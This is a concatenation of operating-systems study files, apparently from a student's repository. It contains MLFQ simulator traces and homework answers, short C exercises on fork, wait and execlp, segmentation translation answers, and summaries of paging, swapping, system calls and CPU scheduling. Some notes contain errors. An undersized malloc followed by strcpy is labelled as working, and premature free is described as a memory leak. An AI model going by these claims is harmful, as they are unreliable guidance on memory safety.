[ time 97 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 22 (of 100) ]
[ time 98 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 21 (of 100) ]
[ time 99 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 20 (of 100) ]
[ time 100 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 19 (of 100) ]
[ time 101 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 18 (of 100) ]
[ time 102 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 17 (of 100) ]
[ time 103 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 16 (of 100) ]
[ time 104 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 15 (of 100) ]
[ time 105 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 14 (of 100) ]
[ time 106 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 13 (of 100) ]
[ time 107 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 12 (of 100) ]
[ time 108 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 11 (of 100) ]
[ time 109 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 10 (of 100) ]
[ time 110 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 9 (of 100) ]
[ time 111 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 8 (of 100) ]
[ time 112 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 7 (of 100) ]
[ time 113 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 6 (of 100) ]
[ time 114 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 5 (of 100) ]
[ time 115 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 4 (of 100) ]
[ time 116 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 3 (of 100) ]
[ time 117 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 2 (of 100) ]
[ time 118 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 1 (of 100) ]
[ time 119 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 0 (of 100) ]
[ time 120 ] FINISHED JOB 0
Final statistics:
Job 0: startTime 0 - response 0 - turnaround 120
Job 1: startTime 50 - response 0 - turnaround 25
Avg 1: startTime n/a - response 0.00 - turnaround 72.50
```
**Example 3: If there is I/O ?**
```
Here is the list of inputs:
OPTIONS jobs 2
OPTIONS queues 3
OPTIONS allotments for queue 2 is 1
OPTIONS quantum length for queue 2 is 10
OPTIONS allotments for queue 1 is 1
OPTIONS quantum length for queue 1 is 10
OPTIONS allotments for queue 0 is 1
OPTIONS quantum length for queue 0 is 10
OPTIONS boost 0
OPTIONS ioTime 5
OPTIONS stayAfterIO False
OPTIONS iobump False
For each job, three defining characteristics are given:
startTime : at what time does the job enter the system
runTime : the total CPU time needed by the job to finish
ioFreq : every ioFreq time units, the job issues an I/O
(the I/O takes ioTime units to complete)
Job List:
Job 0: startTime 0 - runTime 50 - ioFreq 0
Job 1: startTime 0 - runTime 20 - ioFreq 1
Execution Trace:
[ time 0 ] JOB BEGINS by JOB 0
[ time 0 ] JOB BEGINS by JOB 1
[ time 0 ] Run JOB 0 at PRIORITY 2 [ TICKS 9 ALLOT 1 TIME 49 (of 50) ]
[ time 1 ] Run JOB 0 at PRIORITY 2 [ TICKS 8 ALLOT 1 TIME 48 (of 50) ]
[ time 2 ] Run JOB 0 at PRIORITY 2 [ TICKS 7 ALLOT 1 TIME 47 (of 50) ]
[ time 3 ] Run JOB 0 at PRIORITY 2 [ TICKS 6 ALLOT 1 TIME 46 (of 50) ]
[ time 4 ] Run JOB 0 at PRIORITY 2 [ TICKS 5 ALLOT 1 TIME 45 (of 50) ]
[ time 5 ] Run JOB 0 at PRIORITY 2 [ TICKS 4 ALLOT 1 TIME 44 (of 50) ]
[ time 6 ] Run JOB 0 at PRIORITY 2 [ TICKS 3 ALLOT 1 TIME 43 (of 50) ]
[ time 7 ] Run JOB 0 at PRIORITY 2 [ TICKS 2 ALLOT 1 TIME 42 (of 50) ]
[ time 8 ] Run JOB 0 at PRIORITY 2 [ TICKS 1 ALLOT 1 TIME 41 (of 50) ]
[ time 9 ] Run JOB 0 at PRIORITY 2 [ TICKS 0 ALLOT 1 TIME 40 (of 50) ]
[ time 10 ] Run JOB 1 at PRIORITY 2 [ TICKS 9 ALLOT 1 TIME 19 (of 20) ]
[ time 11 ] IO_START by JOB 1
IO DONE
[ time 11 ] Run JOB 0 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 39 (of 50) ]
[ time 12 ] Run JOB 0 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 38 (of 50) ]
[ time 13 ] Run JOB 0 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 37 (of 50) ]
[ time 14 ] Run JOB 0 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 36 (of 50) ]
[ time 15 ] Run JOB 0 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 35 (of 50) ]
[ time 16 ] IO_DONE by JOB 1
[ time 16 ] Run JOB 1 at PRIORITY 2 [ TICKS 8 ALLOT 1 TIME 18 (of 20) ]
[ time 17 ] IO_START by JOB 1
IO DONE
[ time 17 ] Run JOB 0 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 34 (of 50) ]
[ time 18 ] Run JOB 0 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 33 (of 50) ]
[ time 19 ] Run JOB 0 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 32 (of 50) ]
[ time 20 ] Run JOB 0 at PRIORITY 1 [ TICKS 1 ALLOT 1 TIME 31 (of 50) ]
[ time 21 ] Run JOB 0 at PRIORITY 1 [ TICKS 0 ALLOT 1 TIME 30 (of 50) ]
[ time 22 ] IO_DONE by JOB 1
[ time 22 ] Run JOB 1 at PRIORITY 2 [ TICKS 7 ALLOT 1 TIME 17 (of 20) ]
[ time 23 ] IO_START by JOB 1
IO DONE
[ time 23 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 29 (of 50) ]
[ time 24 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 28 (of 50) ]
[ time 25 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 27 (of 50) ]
[ time 26 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 26 (of 50) ]
[ time 27 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 25 (of 50) ]
[ time 28 ] IO_DONE by JOB 1
[ time 28 ] Run JOB 1 at PRIORITY 2 [ TICKS 6 ALLOT 1 TIME 16 (of 20) ]
[ time 29 ] IO_START by JOB 1
IO DONE
[ time 29 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 24 (of 50) ]
[ time 30 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 23 (of 50) ]
[ time 31 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 22 (of 50) ]
[ time 32 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 21 (of 50) ]
[ time 33 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 20 (of 50) ]
[ time 34 ] IO_DONE by JOB 1
[ time 34 ] Run JOB 1 at PRIORITY 2 [ TICKS 5 ALLOT 1 TIME 15 (of 20) ]
[ time 35 ] IO_START by JOB 1
IO DONE
[ time 35 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 19 (of 50) ]
[ time 36 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 18 (of 50) ]
[ time 37 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 17 (of 50) ]
[ time 38 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 16 (of 50) ]
[ time 39 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 15 (of 50) ]
[ time 40 ] IO_DONE by JOB 1
[ time 40 ] Run JOB 1 at PRIORITY 2 [ TICKS 4 ALLOT 1 TIME 14 (of 20) ]
[ time 41 ] IO_START by JOB 1
IO DONE
[ time 41 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 14 (of 50) ]
[ time 42 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 13 (of 50) ]
[ time 43 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 12 (of 50) ]
[ time 44 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 11 (of 50) ]
[ time 45 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 10 (of 50) ]
[ time 46 ] IO_DONE by JOB 1
[ time 46 ] Run JOB 1 at PRIORITY 2 [ TICKS 3 ALLOT 1 TIME 13 (of 20) ]
[ time 47 ] IO_START by JOB 1
IO DONE
[ time 47 ] Run JOB 0 at PRIORITY 0 [ TICKS 9 ALLOT 1 TIME 9 (of 50) ]
[ time 48 ] Run JOB 0 at PRIORITY 0 [ TICKS 8 ALLOT 1 TIME 8 (of 50) ]
[ time 49 ] Run JOB 0 at PRIORITY 0 [ TICKS 7 ALLOT 1 TIME 7 (of 50) ]
[ time 50 ] Run JOB 0 at PRIORITY 0 [ TICKS 6 ALLOT 1 TIME 6 (of 50) ]
[ time 51 ] Run JOB 0 at PRIORITY 0 [ TICKS 5 ALLOT 1 TIME 5 (of 50) ]
[ time 52 ] IO_DONE by JOB 1
[ time 52 ] Run JOB 1 at PRIORITY 2 [ TICKS 2 ALLOT 1 TIME 12 (of 20) ]
[ time 53 ] IO_START by JOB 1
IO DONE
[ time 53 ] Run JOB 0 at PRIORITY 0 [ TICKS 4 ALLOT 1 TIME 4 (of 50) ]
[ time 54 ] Run JOB 0 at PRIORITY 0 [ TICKS 3 ALLOT 1 TIME 3 (of 50) ]
[ time 55 ] Run JOB 0 at PRIORITY 0 [ TICKS 2 ALLOT 1 TIME 2 (of 50) ]
[ time 56 ] Run JOB 0 at PRIORITY 0 [ TICKS 1 ALLOT 1 TIME 1 (of 50) ]
[ time 57 ] Run JOB 0 at PRIORITY 0 [ TICKS 0 ALLOT 1 TIME 0 (of 50) ]
[ time 58 ] FINISHED JOB 0
[ time 58 ] IO_DONE by JOB 1
[ time 58 ] Run JOB 1 at PRIORITY 2 [ TICKS 1 ALLOT 1 TIME 11 (of 20) ]
[ time 59 ] IO_START by JOB 1
IO DONE
[ time 59 ] IDLE
[ time 60 ] IDLE
[ time 61 ] IDLE
[ time 62 ] IDLE
[ time 63 ] IDLE
[ time 64 ] IO_DONE by JOB 1
[ time 64 ] Run JOB 1 at PRIORITY 2 [ TICKS 0 ALLOT 1 TIME 10 (of 20) ]
[ time 65 ] IO_START by JOB 1
IO DONE
[ time 65 ] IDLE
[ time 66 ] IDLE
[ time 67 ] IDLE
[ time 68 ] IDLE
[ time 69 ] IDLE
[ time 70 ] IO_DONE by JOB 1
[ time 70 ] Run JOB 1 at PRIORITY 1 [ TICKS 9 ALLOT 1 TIME 9 (of 20) ]
[ time 71 ] IO_START by JOB 1
IO DONE
[ time 71 ] IDLE
[ time 72 ] IDLE
[ time 73 ] IDLE
[ time 74 ] IDLE
[ time 75 ] IDLE
[ time 76 ] IO_DONE by JOB 1
[ time 76 ] Run JOB 1 at PRIORITY 1 [ TICKS 8 ALLOT 1 TIME 8 (of 20) ]
[ time 77 ] IO_START by JOB 1
IO DONE
[ time 77 ] IDLE
[ time 78 ] IDLE
[ time 79 ] IDLE
[ time 80 ] IDLE
[ time 81 ] IDLE
[ time 82 ] IO_DONE by JOB 1
[ time 82 ] Run JOB 1 at PRIORITY 1 [ TICKS 7 ALLOT 1 TIME 7 (of 20) ]
[ time 83 ] IO_START by JOB 1
IO DONE
[ time 83 ] IDLE
[ time 84 ] IDLE
[ time 85 ] IDLE
[ time 86 ] IDLE
[ time 87 ] IDLE
[ time 88 ] IO_DONE by JOB 1
[ time 88 ] Run JOB 1 at PRIORITY 1 [ TICKS 6 ALLOT 1 TIME 6 (of 20) ]
[ time 89 ] IO_START by JOB 1
IO DONE
[ time 89 ] IDLE
[ time 90 ] IDLE
[ time 91 ] IDLE
[ time 92 ] IDLE
[ time 93 ] IDLE
[ time 94 ] IO_DONE by JOB 1
[ time 94 ] Run JOB 1 at PRIORITY 1 [ TICKS 5 ALLOT 1 TIME 5 (of 20) ]
[ time 95 ] IO_START by JOB 1
IO DONE
[ time 95 ] IDLE
[ time 96 ] IDLE
[ time 97 ] IDLE
[ time 98 ] IDLE
[ time 99 ] IDLE
[ time 100 ] IO_DONE by JOB 1
[ time 100 ] Run JOB 1 at PRIORITY 1 [ TICKS 4 ALLOT 1 TIME 4 (of 20) ]
[ time 101 ] IO_START by JOB 1
IO DONE
[ time 101 ] IDLE
[ time 102 ] IDLE
[ time 103 ] IDLE
[ time 104 ] IDLE
[ time 105 ] IDLE
[ time 106 ] IO_DONE by JOB 1
[ time 106 ] Run JOB 1 at PRIORITY 1 [ TICKS 3 ALLOT 1 TIME 3 (of 20) ]
[ time 107 ] IO_START by JOB 1
IO DONE
[ time 107 ] IDLE
[ time 108 ] IDLE
[ time 109 ] IDLE
[ time 110 ] IDLE
[ time 111 ] IDLE
[ time 112 ] IO_DONE by JOB 1
[ time 112 ] Run JOB 1 at PRIORITY 1 [ TICKS 2 ALLOT 1 TIME 2 (of 20) ]
[ time 113 ] IO_START by JOB 1
IO DONE
[ time 113 ] IDLE
[ time 114 ] IDLE
[ time 115 ] IDLE
[ time 116 ] IDLE
[ time 117 ] IDLE
[ time 118 ] IO_DONE by JOB 1
[ time 118 ] Run JOB 1 at PRIORITY 1 [ TICKS 1 ALLOT 1 TIME 1 (of 20) ]
[ time 119 ] IO_START by JOB 1
IO DONE
[ time 119 ] IDLE
[ time 120 ] IDLE
[ time 121 ] IDLE
[ time 122 ] IDLE
[ time 123 ] IDLE
[ time 124 ] IO_DONE by JOB 1
[ time 124 ] Run JOB 1 at PRIORITY 1 [ TICKS 0 ALLOT 1 TIME 0 (of 20) ]
[ time 125 ] FINISHED JOB 1
```
### 3. How to set the sheduler program's arguments to make it work like RR?
```
--numQueues=1
--iotime=10
--quantum=10
```
### 4. Design two jobs' workloads and arguments, make one of them to dupe the sheduler to get 99% of CPU's time in the particular time period.(Use rules 4a and 4b, open with -S)
`python3 mlfq.py -n 3 -q 10 -M 0 -i 1 -l 10,30,9:0,50,0 -c -S`
### 5. In a given system, if the top queue's time slice is 10ms, how to frequently put the jobs into top queue again(-B signal) to make sure a long time job can gain 5% CPU at least?
`python3 mlfq.py -n 3 -q 10 -j 50 -m 100 -B 20`
### 6. For a job that just finished I/O, it should be put into which side of the queue? Use `-l` to simulate it. Try some workloads, find the effects.
It should be put to the queue's tail.
`python3 mlfq.py -n 1 -q 10 -i 10 -l 0,30,10:0,50,5 -c````
null.c
```#include <stdio.h>
#include <stdlib.h>
int main(int argc, char *argv[])
{
int *p = NULL;
printf("before free p address: %p\n", p);
free(p);
printf("after free p address: %p\n", p);
return 0;
}
```
summary.md
```# Beyond Physical Memory: Mechanisms
## Background
Until now, we have assumed that all pages reside in physical memory. But shall we do if the memory is not large enough, like we are running some large processes concurrently?
To solve this problem, we can just think two solutons without any limits:
1. Increase the memory as large as we want.
2. Decrease the processes' need of memory.
3. Think out a way that can increase the exchange rate of memory. Like the relations between RMB and USD.
Then we can think the realizabilities of the solutions above.
Solution 1 looks like is the best:simple, convinent. We don't need to do any other things, just add some memory. Only one thing is not that perfect: money. When things come to money, things become complex, hmmmm. But maybe we can use some cheap and large physical device to help the expensive memory.
Solution 2 seems that we have to order all the programmers in the world to rewrite their programms, if they don't, just kill their processes. Easy and happy!
Solution 3 needs us to rewrite the OS. Cause we can't order all the programmers to rewrite their programms. Rewriting an OS seems interesting, and also maybe we need to change the very very basic part of computer science.
But if we treat this thing seriously, maybe we can dig into the solution 1.
## Swap the memory
This solution is swapping some pages in memory to the disk. Disk is cheap, large but slow. At least this solution can come true.
Let's take a look at the swap thing:

In this picture, there're 4 pages in physical memory, and 8 pages in swap space.
Pay attention to the processes' numbers and VPNs, we find that the Proc0,Proc1,Proc2 are not totally in the memory, some of their pages are in the swap space, and Proc3 is totally in the swap space which means it's not running at all.
## Present bit
In order to realize the swapping function, more infomation is needed in each PTE. This infomation is called `present bit`. It's used to show that if this page table is in the memory(value = 1) or on the disk(value = 0).
## Page fault
When hardware finds that this address is on the disk, it will cause `page fault`, a particular piece of code known as `page fault handler` will run and service the page fault.
What happens if a page table is on the disk?
There're 4 processes:
1. Find the page table on the disk.
2. Fetch this page into memory.
3. Cause TLB miss, and cached in TLB.
4. TLB hit!
Let's take a look at the pseudo-code:

```
summary.md
```# Limited direct execution
## Core theme : How to make CPU virtualization ?
## Background
One CPU can only run one process at a time. In fact, our computers seem to run many programs at the same time. Just imagine what if the computers can run one program each time:
Want to chatting and wathching videos concurrently? NO!
Want to editing photos and browsing websites at the same time? NO!
Want to playing games and listening some music in the meantime? NO!
Will you be mad?
## Design targets
* Performance: The process can be run in the CPU, and don't have to frequently interact with the OS.
* Control: The process can't run forever and take over all the machine's resources or perform any unauthorized actions. This requires to interact with the OS.
## Main problems
The problem is once the process begins to run the OS becomes a complete outsider(OS is also a kind of program, so if a process is running in the CPU, the OS can't be running at the same time). This will cause 3 important problems below:
1. Lose control over the running process.
2. The running process can access anything it wants to, including restricted operations(directly acess to hardwares, especially for I/O for unauthorized purpose). This means the process can read or write anything on your computer.
3. The process may never switch to a different process without explicit. Thus defeating the purpose of time-sharing.
## Solution: Limited direct execution
The `limited` means the process can perform some operations under supervision.
On this premise, the processor is designed to surpport two modes:
* User mode
* Kernel mode
### Process modes
* A `mode bit` is added to hardware to support distinguishing between user mode and kernel mode.
* Some instructions are designated as `privileged instructions` that cannot be run in user mode. If a process in user-mode tries to execute some `privileged instructions` will raise a protection fault and be killed.
* `Privileged instructions` can be called through `system calls`.
### System calls
A set of APIs for restricted operations are built in the OS. When a process needs to run these kind of instructions, the process calls the `system calls` at first. It means the OS acts as an agent, enables user-mode process to execute restricted opersions without having to gain complete control over the system.
For example:
[System calls of linux x86](https://github.com/torvalds/linux/blob/6f0d349d922ba44e4348a17a78ea51b7135965b1/arch/x86/entry/syscalls/syscall_64.tbl)
#### How does a system call happen?
1. Require assembly instructions
2. `trap` : go from user mode to kernel mode.
3. `return-from-trap` : go back from kernel mode to user mode.

Example: Linux `write` system call

#### `System calls` VS `C calls`
1. Funciton declarations are the same.
2. System calls
1. Have `trap instruction` in them.
2. Have extra level of indirections(movements between two modes).
3. Perform restricted instructions.
4. Have bigger overhead and are slower than equivalent functions call.
5. Can use kernel stack.
### Barrier of the solution : how the OS regains the control ?
#### Approach 1: cooperative processes
* All programmers promise to insert `yield()` into their code to give CPU resouces to other people's program.
* Even in a perfect world, what happens if a process falls into an infinite loop prior to calling `yield()` ?
#### Approach 2: Non-cooperative processes
* Hardware support `Timer interrupt`.
* A timer device can be programmed to raise an interrupt periodically.
* When the interrupt is raised, the running process stops, a pre-configured interrupt handler in the OS runs.
* The OS regains the control.
* The OS decides which process to switch to (with the help from `scheduler`).
* The OS runs a piece of assemble code(context switch).
* Save register values of the currently running process into its kernel stack.
* Restore register values of the soon running process from its kernel stack.

```
15.exercise-05.c
```/**
* @Question 在父进程中使用wait(),等待子进程完成。
* wait()返回什么?
* 如果在子进程中使用wait()会发生什么?
*
* @Answer
* wait()返回的是子进程的pid
* 子进程中调用wait()由于没有自己的子进程,所以wait()返回值是-1
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/wait.h>
int main(int argc, char *argv[])
{
pid_t rc = fork();
if (rc == 0)
{
int cpid = wait(NULL);
printf("In child process(pid:%d), and pid is %d\n", getpid(), cpid);
}
else if (rc > 0)
{
int cpid = wait(NULL);
printf("In parent process(pid:%d)\n", getpid());
printf("And child process's pid is %d\n", cpid);
}
else
{
fprintf(stderr, "fork failed");
}
return 0;
}```
summary.md
```# VM Paging
## Overview of Paging
Paging is spliting the physical memory into many pages. Each page's size is the same, when a process needs the memory, the OS allocates some pages to this process, and the pages don't need to be continuous, so paging is very flexible and simple.
The picture below is an overview of how paging looks like from a top level.

## Management of Paging
How do we know which pages are allocated to a process? To solve this problem, we need `page table` and `free list`.
`Free list` is kept by the OS, it's just the list of all free pages.
`Page table` is to record where each virtual page of the address space is placed in physical memory. It's a per-process data structure. The main role of page table is address translations.
Let's take a simple look at how it works:
```
Virtual Page 0 → Physical Frame 3
VP 1 → PF 7
VP 2 → PF 5
VP 3 → PF 2
```
Just show us the translation relations between virtual pages and physical frames.
## Address Translation
The address translation is not complex, take a look at the process:

From the graph we can see that the virtual address is formed with two parts: `VPN(Virtual Page Number)` and `offset`.
The key step in this process is translate the `VPN` to `PFN(Physical Frame Number)`.
## The Storage of Page Tables
Assume that we have got a 32-bit address space, with 4KB pages. This virtual address splits into a 20-bit VPN and 12-bit offset(4kb page needs 12-bit).
A 20-bit VPN implies that there are 2^20 translations that OS have to manage for process. Assume we need 4 bytes(32-bit) per page table entry(`PTE`) to hold physical translation, we need 4b * 2^20 = 4MB of memory for each page table. If there are 100 processes running, the total memory for page tables is 400MB.
The page tables are stored in real physical memory, their size could be really huge.
## Inside look at page table
The simplest form of page table is called a linear page table, which is just an array.
The OS indexes the array by the virtual page
number (VPN), and looks up the page-table entry (PTE)at that index in order to find the desired physical frame number (PFN).
A PTE's structure is shown below:

## Paging is too slow
The process of accessing memory with paging is shown in pseudo-code below:

```
summary.md
```# Interlude: Memory API
## Types of memory
* Stack memory. Its allocations and deallocations are managed implicitly by the compiler for you. In C program, the variables declared in functions are managed by the compiler, they are in the stack memory.
* Heap memory. All the allocations and deallocations are managed by the programmers. In C program, the `malloc` api is for users to allocate memory manually, and users can deallocate memory with the api `free`.
## The `malloc()` call
This API takes only one parameter: the size of bytes. It returns a pointer to the address allocated.
```c
#include <stdlib.h>
void *malloc(size_t size);
```
## The `free()` call
This API deallocates the memory allocated by `malloc`.
```c
free(void *address)
```
## Common Errors
When using `malloc()` and `free()` some common errors.
* Forgetting To Allocate Memory.
The wrong way:
```c
char *src = "hello";
char *dst; // oops! unallocated
strcpy(dst, src); // segfault and die
```
The right way:
```c
char *src = "hello";
char *dst = (char *) malloc(strlen(src) + 1);
strcpy(dst, src); // work properly
```
* Not Allocating Enough Memory
```c
char *src = "hello";
char *dst = (char *) malloc(strlen(src)); // too small! The length need to + 1.
strcpy(dst, src); // work properly
```
* Forgetting to Initialize Allocated Memory. Called `malloc()`, but no values are filled.
* Forgetting To Free Memory. Forgeted to `free()` the allocated memory.
* Freeing Memory Before You Are Done With It. This can cause memory leak.
* Freeing Memory Repeatedly. Free the memory more than once.
* Calling free() Incorrectly: only receives the pointers returned from `malloc`, if the pointer is from other ways, bad things will happen.
```
11.exercise-04-execlp.c
```/**
* int execlp(const char *file, const char *arg, ...);
* file: 指向要执行的命令的文件,可以省略式写法
* arg及后面的省略号: 等同于拆分的数组里的参数
*/
#include <stdio.h>
#include <unistd.h>
int main(int argc, char *argv[])
{
char *cmd = "ls";
execlp(cmd, cmd, "-a", (char *)NULL);
return 0;
}```
question.md
```## Q1.
```
ARG seed 10
ARG address space size 1k
ARG phys mem size 16k
Segment register information:
Segment 0 base (grows positive) : 0x000024ff (decimal 9471)
Segment 0 limit : 402
Segment 1 base (grows negative) : 0x00000e9d (decimal 3741)
Segment 1 limit : 365
Virtual Address Trace
VA 0: 0x00000340 (decimal: 832) --> PA or segmentation violation?
VA 1: 0x0000034b (decimal: 843) --> PA or segmentation violation?
VA 2: 0x0000029d (decimal: 669) --> PA or segmentation violation?
VA 3: 0x000000a4 (decimal: 164) --> PA or segmentation violation?
For each virtual address, either write down the physical address it translates to
OR write down that it is an out-of-bounds address (a segmentation violation). For
this problem, you should assume a simple address space with two segments: the top
bit of the virtual address can thus be used to check whether the virtual address
is in segment 0 (topbit=0) or segment 1 (topbit=1). Note that the base/limit pairs
given to you grow in different directions, depending on the segment, i.e., segment 0
grows in the positive direction, whereas segment 1 in the negative.
```
Answer:
```
VA 0: 0x00000340 (decimal: 832) --> 1101000000 --> Seg1 offset = 320 - 511 = -191,PA = 3741 - 191 = 3550
VA 1: 0x0000034b (decimal: 843) --> 1101001011 --> Seg1 offset = 331 - 511 = -180, PA = 3741 - 180 = 3561
VA 2: 0x0000029d (decimal: 669) --> 1010011101 --> Seg1
offset = 157 - 511 = -354, PA = 3741 - 354 = 3387
VA 3: 0x000000a4 (decimal: 164) --> 010100100 --> Seg0
offset = 164, PA = 9471 + 164 = 9635
```
## Q2.
```
ARG seed 0
ARG address space size 1k
ARG phys mem size 16k
Segment register information:
Segment 0 base (grows positive) : 0x00001aea (decimal 6890)
Segment 0 limit : 472
Segment 1 base (grows negative) : 0x00001254 (decimal 4692)
Segment 1 limit : 450
Virtual Address Trace
VA 0: 0x0000020b (decimal: 523) --> PA or segmentation violation?
VA 1: 0x0000019e (decimal: 414) --> PA or segmentation violation?
VA 2: 0x00000322 (decimal: 802) --> PA or segmentation violation?
VA 3: 0x00000136 (decimal: 310) --> PA or segmentation violation?
VA 4: 0x000001e8 (decimal: 488) --> PA or segmentation violation?
For each virtual address, either write down the physical address it translates to
OR write down that it is an out-of-bounds address (a segmentation violation). For
this problem, you should assume a simple address space with two segments: the top
bit of the virtual address can thus be used to check whether the virtual address
is in segment 0 (topbit=0) or segment 1 (topbit=1). Note that the base/limit pairs
given to you grow in different directions, depending on the segment, i.e., segment 0
grows in the positive direction, whereas segment 1 in the negative.
```
Answer:
```
VA0: 523 -> 10 0000 1011 -> SEG1,offset=11, negative offset = 11 - 511 = -500, |-500| > 450, Segmentation fault.
VA1: 414 -> 01 1001 1110 -> SEG0, offset=414, PA = 6890 + 414 = 7304
VA2: 802 -> 11 0010 0010 -> SEG1, offset=290-511=-221, PA = 4692 - 221 = 4471
VA3: 310 -> 01 0011 0110 -> SEG0, offset=310, PA = 6890 + 310 = 7200
VA4: 488 -> 01 1110 1000 -> SEG0, offset=488 > limit(472), Segmentation fault.
``````
summary.md
```# Introduction to sheduling
## What is CPU sheduling ?
* The allocation of processors to process over time.
* Key to multiprogramming.
* Increase CPU utiliztion and job throughput by overlapping I/O and computation.
* Different queues representing different process states(ready,running,block)
* Policies: if there are more than one processes, how to choose which one to run next?
## Workload assumptions
Before we try to find the possible policies, we need to make some simple assumptions so that the policies won't be quite complex.
Here is the assumptions:
1. Each job runs the same amount of time.
2. All jobs arrive at the same time.
3. Once a job started, it runs to completion.
4. All jobs only use the CPU(no I/O).
5. Each job's running time is known.
Some of these assumptions are not realisitc, and we will relax them gradually to see how it works in a real system.
## Sheduling Metric 1 : Turnaround Time
```
T(turnaround) = T(completion) - T(arrive)
```
## Algorithm 1 : FIFO(First In First Out)
`FIFO` also means first come first serve, the jobs are executed in the order of their arrival time.
Let's see an example. Assume there are 3 jobs(A,B,C) arrive at the same time, FIFO must decide what are their orders. We assume A is a little earlier than B, and B is a little earlier than C, and each job's runnning time is 10s.
The average T(turnaround) of these jobs is (10 + 20 + 30) / 3 = 20. Assume anther case, if job A's running time is 100s, this policy will work badly, in this case the average T(turnaround) is (100 + 110 + 120) / 3 = 110. Is it terrible?
So this algorithm's biggest defect is if the earlier jobs' running time is long, the whole system will become really slow.
## Algorithm 2 : SJF(Shortest Job First)
Now let's relax the first and second assumptions.
In this algorithm, the shorter jobs are executed earlierly. So let's review last example, B and C take 10s to run, and A takes 100s, now the running order will become B->C->A, in this case the average T(turnaround) is (10 + 20 + 120) / 3 = 50. It's a big progress.
But what if B and C arrive after A, assume they arrive after A runned 10s? The average T(turnaround) is (100 + 100 + 110) / 3 = 103.3. Again, the policy works quite slow in this case.
## Algorithm 3 : STCF(Shortest Time-to-Completion First)
We'll relax the third assumption here.
Let's look back the example in algorithm 2, so when B and C arrive after A runned 10s, the sheduler can decide to stop A, because B and C have shorter runnning time, so the execution order will be like this:
```flowchart
A(10s)->B(10s)->C(10s)->A(90s)
```
Now the average T(turnaround) = (10 + 20 + 120) / 3 = 50
We can see that in this situation this algorithm is pretty good.
## Sheduling Metric 2 : Response Time
```
T(response) = T(first run) - T(arrive)
```
In the example above, the average response time is:
```
T(response of A) = 0 - 0 = 0
T(response of B) = 20 - 20 = 0
T(response of C) = 20 - 10 = 10
average T(response) = (0 + 0 + 10) / 3 = 6.66
```
## Algorithm 4 : Round-Robin
In a `time slice`, the CPU works on one task, then switch to the next task in the queue. Each job can be splitted into many tasks. Each task's smallest time is `time slice`.
For example, if the `time slice` is 1s, A B and C are 10s' jobs. And no matter what their arrive time is, the response time will be quit short. Assume that A and B arrive at the same time, C arrives after 3s.
```
A(1s)->B(1s)->A(1s)->C(1s)->B(1s)...
```
Now the average T(response) is (0 + 1 + 1) / 3 = 0.66. To this algrithm the longest waiting time could be one `time slice`.
So how do we set a proper `time slice` ? If it's too short, context switching will affect the whole performance. It's easy to understand: if one `time slice` takes 1s, and context switching takes 0.1s, the radio is 10%, if one `time slice` takes 10s, the radio is 1%.
